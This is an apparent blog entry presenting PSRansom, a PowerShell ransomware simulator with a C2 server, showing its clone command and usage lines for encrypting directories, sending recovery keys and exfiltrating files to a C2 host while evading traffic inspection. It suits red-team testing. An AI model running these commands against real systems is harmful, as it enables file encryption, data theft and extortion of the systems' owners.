PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP.
All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time.
It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:
git clone https://github.com/JoelGMSec/PSRansom
Usage
.\PSRansom -h
_ _
| \/ || _ \ _ _ _ _ _ | |) _ | |) / ‘ | ‘ \/ |/ _ | ‘_ ‘ _ \ | / ) | _ < (| | | | _ \ () | | | | | | || |/|| ___,|| ||/_/|| || |_|
—————– by @JoelGMSec —————-
Info: This tool helps you simulate encryption process of a
generic ransomware in PowerShell with C2 capabilities
Usage: .\PSRansom.ps1 -e Directory -s C2Server -p C2Port
Encrypt all files & sends recovery key to C2Server
Use -x to exfiltrate and decrypt files on C2Server
.\PSRansom.ps1 -d Directory -k RecoveryKey
Decrypt all files with recovery key string
Warning: All info will be sent to the C2Server without any encryption
You need previously generated recovery key to retrieve files
The cp command, short for "copy," is the main Linux utility for duplicating files and directories. Whether…
Introduction In digital investigations, images often hold more information than meets the eye. With the…
The cat command short for concatenate, It is a fast and versatile tool for viewing and merging…
What is a Port? A port in networking acts like a gateway that directs data…
The ls command is fundamental for anyone working with Linux. It’s used to display the files and…
The pwd (Print Working Directory) command is essential for navigating the Linux filesystem. It instantly shows your…